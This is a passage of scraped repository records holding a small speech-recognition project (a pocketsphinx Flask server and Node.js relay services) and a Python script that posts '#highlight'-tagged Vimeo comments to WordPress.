decoder.get_in_speech()\n if not in_speech_bf:\n decoder.end_utt()\n try:\n if decoder.hyp().hypstr != '':\n print('Stream decoding result:', decoder.hyp().hypstr)\n except AttributeError:\n pass\n decoder.start_utt()\n else:\n break\ndecoder.end_utt()\nprint('An Error occured:', decoder.hyp().hypstr)\n" }, { "alpha_fraction": 0.4992867410182953, "alphanum_fraction": 0.5106989741325378, "avg_line_length": 31.106870651245117, "blob_id": "dd30e0aa91806931a334dea2ad9815db4f929454", "content_id": "d1dee3e61471e9a07190865a1b013a2d64eb9098", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4206, "license_type": "no_license", "max_line_length": 126, "num_lines": 131, "path": "/stt.py", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "import pyaudio\nimport wave\nfrom os import environ, path\nimport sys\nfrom pocketsphinx.pocketsphinx import *\nfrom sphinxbase.sphinxbase import *\nfrom flask import Flask\n#import flask\nfrom flask import request,Request\n#import time\n\n#from werkzeug.utils import secure_filename\n#import os,io\n\napp = Flask(__name__)\n\n\ndef VoiceRecorder():\n CHUNK = 1024\n FORMAT = pyaudio.paInt16\n CHANNELS = 1\n RATE = 16000\n #RECORD_SECONDS = 5\n\n p = pyaudio.PyAudio()\n stream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK) \n buf = stream.read(1024)\n return buf\n\ndef StreamParser(ByteArray):\n MODELDIR = \"/home/jjadhad/sphinx_examples/ac_mo\"\n #DATADIR = \"/usr/share/pocketsphinx/test/data\"\n\n # Create a decoder with certain model\n config = Decoder.default_config()\n config.set_string('-hmm', path.join(MODELDIR, 'en-us'))\n config.set_string('-lm', path.join(MODELDIR, 'en-us.lm'))\n config.set_string('-dict', path.join(MODELDIR, 'cmudict-en-us.dict'))\n decoder = Decoder(config)\n\n decoder.start_utt()\n in_speech_bf = True\n a=20\n while True:\n #buf = stream.read(1024)\n if ByteArray:\n decoder.process_raw(ByteArray, False, False)\n try:\n if decoder.hyp().hypstr != '':\n\t\t print \"********** Partial Result ***********\"\n print('Partial decoding result:', decoder.hyp().hypstr)\n #return decoder.hyp().hypstr\n except AttributeError:\n pass\n #decoder.hyp().hypstr = ''\n '''\n if decoder.get_in_speech():\n sys.stdout.write('.')\n sys.stdout.flush()\n ''' \n if decoder.get_in_speech() != in_speech_bf:\n in_speech_bf = decoder.get_in_speech()\n if not in_speech_bf:\n decoder.end_utt()\n try:\n if decoder.hyp().hypstr != '':\n print \" ____________ Final Result ___________\"\n print('Stream decoding result:', decoder.hyp().hypstr)\n #return decoder.hyp().hypstr\n except AttributeError:\n pass\n decoder.start_utt()\n else:\n break\n decoder.end_utt()\n print('An Error occured:', decoder.hyp().hypstr)\n\n#func()\n#UPLOAD_FOLDER = '/home/jjadhad/'\n#ALLOWED_EXTENSIONS = set(['txt', 'wav'])\n#app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n#request.environ['CONTENT_TYPE'] = 'audio/wav'\n\n\n\[email protected](\"/stream/<int:flag>\",methods=['POST'])\ndef stream_read_handler(flag):\n #print \"****************************************************************************************************************\"\t\n print \"Flag: \", flag\n print \"flag type:\", type(flag) \n #print \"data:\",request.get_data()\t\n #print \"data: \" , request.args.get('myfile')\n #print \"data:\",request.body['data']\n #print \"data:\",request.form['data']\n #print \"data:\",request.args['data']\n #print \"data:\",request.stream.read()\n temp_data_2 = request.stream.read()\n print \"type of bytearray: \", type(temp_data_2)\n print \"temp_data_2 len\", len(temp_data_2)\n fd = wave.open(\"sample_3.wav\",\"w\")\n fd.setparams((1, 2, 16000, 70997, 'NONE', 'not compressed'))\n fd.writeframesraw(temp_data_2)\n #fd.close()\n fd.close()\n \n command = 0\t\n if (flag == 0):\n\tprint \"---------------------------------------- byte array recved ---------------------------------------------------\"\n return \"show me the energy consumption\"\t \n else:\n\tprint \"******************************************* mic enabled *******************************************************\"\n\tcommand = StreamParser(temp_data_2[44:])\n if command == 0:\n\treturn 0\t\n return command\t\t \t\n\t\t \n #cmd = process_raw_handler()\n\n#@app.route(\"/process_raw\")\ndef process_raw_handler():\n return \"processed raw buf output is here\"\n\n\nif __name__ == \"__main__\":\n #app.debug = True\n app.run()\n #app.run(debug = True)\n" }, { "alpha_fraction": 0.5915880799293518, "alphanum_fraction": 0.6029874086380005, "avg_line_length": 23.461538314819336, "blob_id": "d5e7fbdd23901dcc7e5f25ce01fc4f80656101b4", "content_id": "3b706de17a7fe19205675128b1a9fa85a90989fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2544, "license_type": "no_license", "max_line_length": 110, "num_lines": 104, "path": "/wrapper.js", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar request = require('request');\nvar app = express();\nvar fs = require(\"fs\");\nvar sizeof = require('object-sizeof');\nvar http = require(\"http\");\nvar FormData = require('form-data');\n\n//require the body-parser nodejs module\nvar bodyParser = require('body-parser');\n\n//require the path nodejs module\nvar path = require(\"path\");\n\n \n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//app.use(bodyParser.raw);\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\n\n\napp.post('/hello', function (req, res) {\n\t\n\t//console.log(\"----------------------body:\",req.body);\n\t//console.log(\"size:\", req.body.length);\n\t\n var flag_for_wavfile = 0;\n var wav_str;\n var Command=''; \n \n if (req.body.length)\t\t// check for wavfile\n\t { \n\t\t\n\t\twav_str= req.body;\n \n\t\tfs.writeFile('sample_1.wav', wav_str, function(err) {\n console.log(err ? 500 : 200 );\n //res.send(err ? 500 : 200);\n });\n\t\tflag_for_wavfile = 1;\t\n\t }\n\n\telse\n\t{\n\t\tflag_for_wavfile = 0;\n\t\tconsole.log(\"In else condition\");\n\t}\n\n\t//res.send(\"Hi, Amol Gogawale\");\n\t\n\t\n\tvar formData = {\n \t\tmy_file: wav_str //fs.createReadStream('/home/jjadhad/nodejs/test_20.wav')\n\t};\n \n\trequest.post({url:'http://localhost:5000/stream/1' , formData: formData}, function(err, httpResponse, body) {\n \t\tif (err) {\n \t return console.error('upload failed:', err);\n \t\t}\n \t console.log('Upload successful! Server responded with:', body);\n\t console.log(\"body:\",body);\n\t Command = body;\n\t console.log(\"Command:\",Command);\n\t res.send(body);\n\t});\n\t\t\t//console.log(\"body:\",Command);\n\t\t\t//while(Command == 'undefined');\n\t\t\t//console.log(\"body:\",Command);\n\t\t\t//res.send(Command);\n\t\t\t//return Command;\n\t\t\t\n\t\t\t\n\t\n\t})\n\n \n\t\n\n\nvar server = app.listen(8081, function () {\n\n //var host = server.address().address\n var port = server.address().port\n console.log(\"Listening on port:\", port)\n\n})\n" }, { "alpha_fraction": 0.8554216623306274, "alphanum_fraction": 0.8554216623306274, "avg_line_length": 40.5, "blob_id": "0426579e5a51ddbbdaf6aac597863d63bab422dd", "content_id": "cf6bbd5fc6e60b86d96bda916a4b0045b65521e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 83, "license_type": "no_license", "max_line_length": 61, "num_lines": 2, "path": "/README.md", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "# Speech_Recognition\nThis repository contains code regarding to speech recognition\n" }, { "alpha_fraction": 0.5643564462661743, "alphanum_fraction": 0.5807638168334961, "avg_line_length": 25.298507690429688, "blob_id": "6707cc6d08069ca2b6acc7bea2cf72ec89e02428", "content_id": "bd0aba6b5af56b8f7c5ff74193d0e986ae6e7b27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3556, "license_type": "no_license", "max_line_length": 164, "num_lines": 134, "path": "/centralnode2.js", "repo_name": "dnyaneshwar1991/Speech_Recognition", "src_encoding": "UTF-8", "text": "var express = require('express');\nvar request = require('request');\nvar http = require('http');\nvar fs = require('fs');\nvar app = express();\n //require the body-parser nodejs module\nvar bodyParser = require('body-parser');\n //require the path nodejs module\nvar path = require(\"path\");\n\n// Add headers\napp.use(function (req, res, next) {\n\n // Website you wish to allow to connect\n res.header('Access-Control-Allow-Origin', '*');\n\n // Request methods you wish to allow\n res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');\n\n // Request headers you wish to allow\n res.header('Access-Control-Allow-Headers', 'Content-type');\n\n // Set to true if you need the website to include cookies in the requests sent\n // to the API (e.g. in case you use sessions)\n res.header('Access-Control-Allow-Credentials', true);\n\n // Pass to next layer of middleware\n next();\n})\n\n//support parsing of application/json type post data\n//app.use(bodyParser.json());\n\n//support parsing of application/x-www-form-urlencoded post data\n//app.use(bodyParser.urlencoded({ extended: true }));\n\napp.use(bodyParser.raw({ type: 'audio/wav', limit: '50mb' }));\napp.post('/postUsers', function (req, res) {\n//TempCommand('text');\n var data = req.body;\n // console.log(req.body);\n\t\t\t\n\t var options = {\n \t\thost: 'localhost',\n \t\tpath: '/hello',\n \t\tmethod: 'POST',\n \t\tport: 8081,\t\n \t\theaders: { 'Content-Type': 'audio/wav' }\n };\n \n \t var req = http.request(options, function(res) {\n  \t \tres.setEncoding('utf8');\n  \t \tres.on('data', function (chunk){\n\n\t\t\n\t\tTempCommand(chunk);\n\n\t\t\n\n  \t\t\t});\n });\n \t\n\t\n \t \n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n req.write(data);\n req.end();\t\t\t\t \t\n\n})\n\n\n/* write ur func here */\n\n\nfunction TempCommand(command){\n\t//console.log(\" in func TempCommand() \");\n\t console.log(\"command\",command); \n \n var options = {\n \t\thost: 'localhost',\n \t\tpath: '/_getproduct',\n \t\tmethod: 'post',\n \t\tport: 3000,\t\n \t\theaders: { 'Content-Type': 'application/x-www-form-urlencoded'}\n };\n\t //console.log(\"options are ready\");\n \t var req = http.request(options, function(res) {\n  \t \tres.setEncoding('utf8');\n  \t \tres.on('data', function (TempCommand) {\n    \t\t\tconsole.log('BODY: ' + TempCommand);\n });\n\n });\n\n req.on('error', function(e) {\n \t console.log(e);\n \t });\n\n // Write the audio data in the request body.\n \n //var dt = \"{'resData':'\"+command+\"'}\";\n //console.log(dt);\n req.write(command);\n //console.log(\"command 2:\",command);\n req.end();\n\n }\n\n/* \n\n\n//http://localhost:8086/_getproduct/8821264\napp.get('/_getproduct/:id', function(req, res) {\n if (!req.params.id) {\n res.status(500);\n res.send({\"Error\": \"Looks like you are not senging the product id to get the product details.\"});\n console.log(\"Looks like you are not senging the product id to get the product detsails.\");\n }\n request.get({ url: \"http://localhost:3000/_getproduct/energy%20consumption%20on%2015%20april%202018\" + req.params.id }, function(error, response, body) {\n if (!error && response.statusCode == 200) {\n res.json(body);\n }\n });\n });\n\n*/\n\napp.listen(8086, function () {\n console.log('Example app listening on port 8086!')\n});\n\n\n\n\n\n\n\n\n\n \n" } ]
7
kalsop/Vimeo-video-comments-to-Wordpress-post
https://github.com/kalsop/Vimeo-video-comments-to-Wordpress-post
f4034cf4d44d43da9ad3eb14697cd502eefaaeea
55d418f84c26cf8c89d364f15086bcdf25ef7980
b2e09a258ab5141201fc28f594c4e6d47b61dc1e
refs/heads/master
2021-01-21T12:36:13.964669
2013-04-05T10:57:47
2013-04-05T10:57:47
9,219,113
1
0
null
2013-04-04T13:45:34
2013-04-04T16:40:31
2013-04-04T16:40:31
Python
[ { "alpha_fraction": 0.6766951084136963, "alphanum_fraction": 0.6832060813903809, "avg_line_length": 38.75, "blob_id": "fd8cd276e0c00e8e5c099dda434cefa5cf602e4a", "content_id": "e75bd765283e6ec52748adb19f567c33d43d1a1e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4454, "license_type": "permissive", "max_line_length": 255, "num_lines": 112, "path": "/vimeo_wp.py", "repo_name": "kalsop/Vimeo-video-comments-to-Wordpress-post", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\n\"\"\"\n\nfrom wordpress_xmlrpc import Client, WordPressPost\nfrom wordpress_xmlrpc.methods.posts import GetPosts, NewPost\nfrom wordpress_xmlrpc.methods.users import GetUserInfo\nimport codecs\nimport credentials as cr\nimport json\nimport locale\nimport logging\nimport oauth2 as oauth\nimport optparse\nimport os\nimport sys\nimport warnings\n\n__author__ = '$USER'\n__version__=\"0.1\"\n\nscript_name = os.path.basename(sys.argv[0])\nusage = '[options] <video_id> <parent_post_id>'\ndescription = '''\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\n'''\n\nlogger = logging.getLogger(script_name)\n\ndef convert_comments_to_posts(video_id, parent_post_id):\n token = oauth.Token(key=cr.token_key, secret=cr.token_secret)\n consumer = oauth.Consumer(key=cr.consumer_key, secret=cr.consumer_secret)\n url = \"http://vimeo.com/api/rest/v2?format=json&method=vimeo.videos.comments.getList&video_id=\" + str(video_id)\n client = oauth.Client(consumer, token)\n resp, content = client.request(url)\n data = json.loads(content)\n process_comments(video_id, parent_post_id, data['comments']['comment'])\n\ndef process_comments(video_id, parent_post_id, comments):\n wp = Client(cr.wp_url, cr.wp_user, cr.wp_password)\n for comment in comments:\n if '#highlight' in comment['text']:\n process_comment(wp, video_id, parent_post_id, comment)\n\ndef get_post_content(video_id, comment):\n text = comment['text'].replace('#highlight','')\n return '<p>' + text + '</p><iframe src=\"' + video_url(video_id, text) + '\" width=\"625\" height=\"368\" frameborder=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe><p><a href=\"' + comment['permalink'] + '\">View comment on Vimeo</a> '\n\ndef process_comment(wp, video_id, parent_post_id, comment):\n post = WordPressPost()\n post.title = comment['text'][6:50]\n post.content = get_post_content(video_id,comment)\n post.post_type = 'video-highlight'\n post.post_status = 'publish'\n post.parent_id = parent_post_id\n #logger.info(\"Created post with ID [%s]\", wp.call(NewPost(post)))\n print \"Created post with ID [%s]\" % wp.call(NewPost(post))\n\ndef video_url(video_id, comment_text):\n url = 'http://player.vimeo.com/video/%s#t=%s' % (video_id, strip_time(comment_text))\n logger.debug(\"Video URL: %s\", url)\n return url\n\ndef strip_time(text):\n return text[0:2] + 'm' + text[3:5] + 's'\n\ndef get_options(argv):\n '''Get options and arguments from argv string.'''\n parser = optparse.OptionParser(usage=usage, version=__version__)\n parser.description=description\n parser.add_option(\"-v\", \"--verbosity\", action=\"count\", default=0,\n help=\"Specify up to three times to increase verbosity, i.e. -v to see warnings, -vv for information messages, or -vvv for debug messages.\")\n \n # Extra script options here...\n \n options, args = parser.parse_args(list(argv))\n script, args = args[0], args[1:]\n return options, script, args, parser.format_help()\n\ndef init_logger(verbosity, stream=sys.stdout):\n '''Initialize logger and warnings according to verbosity argument.\n Verbosity levels of 0-3 supported.'''\n is_not_debug = verbosity <= 2\n level = [logging.ERROR, logging.WARNING, logging.INFO][verbosity] if is_not_debug else logging.DEBUG\n format = '%(message)s' if is_not_debug else '%(asctime)s %(levelname)-8s %(name)s %(module)s.py:%(funcName)s():%(lineno)d %(message)s'\n logging.basicConfig(level=level, format=format, stream=stream)\n if is_not_debug: warnings.filterwarnings('ignore')\n\ndef wrap_stream_for_tty(stream):\n if stream.isatty():\n # Configure locale from the user's environment settings.\n locale.setlocale(locale.LC_ALL, '')\n \n # Wrap stdout with an encoding-aware writer.\n lang, encoding = locale.getdefaultlocale()\n logger.debug('Streaming to tty with lang, encoding = %s, %s', lang, encoding)\n if encoding:\n return codecs.getwriter(encoding)(stream)\n else:\n logger.warn('No tty encoding found!')\n \n return stream\n\ndef main(*argv):\n options, script, args, help = get_options(argv)\n init_logger(options.verbosity)\n convert_comments_to_posts(args[0], args[1])\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv))\n\n\n" } ]
1